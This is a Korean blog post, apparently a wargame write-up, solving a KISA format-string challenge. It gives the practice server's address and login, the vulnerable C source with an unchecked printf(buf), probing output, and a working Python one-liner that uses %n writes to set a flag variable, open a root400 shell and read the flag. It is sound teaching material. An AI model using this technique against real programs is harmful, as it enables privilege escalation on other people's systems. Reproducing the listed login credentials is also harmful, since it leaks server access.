티스토리 뷰

Pwnable/KISA SYSTEM

Basic Format String1

err0rless313 2014. 10. 12. 03:35

########################################


포맷 스트링 취약점을 이용하여 쉘을 획득하라

IP : 175.119.227.56
PORT : 10222

ID : system400
PW : YLDMfUUmSwMK


########################################


당연히 포맷스트링 문제일 것이다.


문제를 보도록 하자.


-bash-4.1$ ls -l

total 800

-r-sr-x--- 1 root400   system400   6316 Apr  8  2014 system400

-r-sr-x--- 1 root400   system400    537 Apr  8  2014 system400.c


system400.c를 통해 어디에 FSB 취약점이 있는지 확인하도록 하자.


#include <stdio.h>

#include "dumpcode.h"


int main()

{

        int flag = 0x1;

        int flag1 = 0x2;

        char buf[128];


        memset(buf, '\x00', 128);

        dumpcode((char*)buf,150);

        fgets(buf, 127, stdin);  //128까지지만 127까지 입력받음, BOF취약점 방지


        printf("before flag value is %x(%p)\n", flag, &flag);


        printf(buf);   //취약점!


        printf("after flag value is %x(%p)\n", flag, &flag);

        if(flag == 0x31337) {

                printf("Great! you own me!\n");

                dumpcode((char*)buf,150);

                setreuid(509, 509);

                setregid(509, 509);

                system("/bin/sh");

        }

        else {

                printf("....\n");

        }

        dumpcode((char*)buf,150);

        return 0;

}


(주석은 제가 추가한 겁니다.)


추가로 확인해 본 결과 이 서버는 ASLR 기법이 사용되지 않고 있다. 그리고 


printf("before flag value is %x(%p)\n", flag, &flag);


를 통해서 친절하게 flag변수가 어디에 있는지도 알려준다. 이 정보를 바탕으로 Exploit해보도록 하자.


-bash-4.1$ ./system400

0xbffff6c8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff6d8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff6e8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff6f8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff708  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff718  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff728  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff738  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff748  01 00 00 00 02 00 00 00 80 88 04 08 00 00 00 00   ................

0xbffff758  d8 f7 ff bf 26 8d                                 ....&.

AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x

before flag value is 1(0xbffff748)

AAAA        1 bffff748 bffff784 b7fea11a bffff774 41414141 78382520 78382520 78382520

after flag value is 1(0xbffff748)

....

0xbffff6c8  41 41 41 41 20 25 38 78 20 25 38 78 20 25 38 78   AAAA %8x %8x %8x

0xbffff6d8  20 25 38 78 20 25 38 78 20 25 38 78 20 25 38 78    %8x %8x %8x %8x

0xbffff6e8  20 25 38 78 20 25 38 78 0a 00 00 00 00 00 00 00    %8x %8x........

0xbffff6f8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff708  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff718  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff728  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff738  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff748  01 00 00 00 02 00 00 00 80 88 04 08 00 00 00 00   ................

0xbffff758  d8 f7 ff bf 26 8d                                 ....&.

-bash-4.1$ 


AAAA, 즉 buf의 시작점은 여섯번째 %8x에서 나타난다.


0xbffff748

\x48\xf7\xff\xbf

0xbffff74a

\x4a\xf7\xff\xbf

-> 2바이트 후의 flag주소


0xbffff748에 덮어씌울 값은 0x31337이며 십진수 4자리씩 끊어 본다면


0x30000

-> 196608


0x1337

-> 4919 - 40 = 4879



최종 익스플로잇

(python -c 'print "\x48\xf7\xff\xbf"*2 + "\x4a\xf7\xff\xbf"*2 + "%8x" * 3 + "%4879c%n%196608c%n"';cat) | ./system400


after flag value is 31337(0xbffff748)

Great! you own me!

0xbffff6c8  48 f7 ff bf 48 f7 ff bf 4a f7 ff bf 4a f7 ff bf   H...H...J...J...

0xbffff6d8  25 38 78 25 38 78 25 38 78 25 34 38 37 39 63 25   %8x%8x%8x%4879c%

0xbffff6e8  6e 25 31 39 36 36 30 38 63 25 6e 0a 00 00 00 00   n%196608c%n.....

0xbffff6f8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff708  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff718  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff728  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff738  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................

0xbffff748  37 13 03 00 02 00 00 00 80 88 04 08 00 00 00 00   7...............

0xbffff758  d8 f7 ff bf 26 8d                                 ....&.

id

uid=509(root400) gid=508(system400) groups=509(root400),508(system400)

whoami

root400

ls /home/root400

flag

cat /home/root400/flag

?????????????????????????????



문제 해결 확인




'Pwnable > KISA SYSTEM' 카테고리의 다른 글

확률 게임에서 이겨라!  (0) 2014.10.12
취약한 메아리 프로그램  (1) 2014.10.12
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함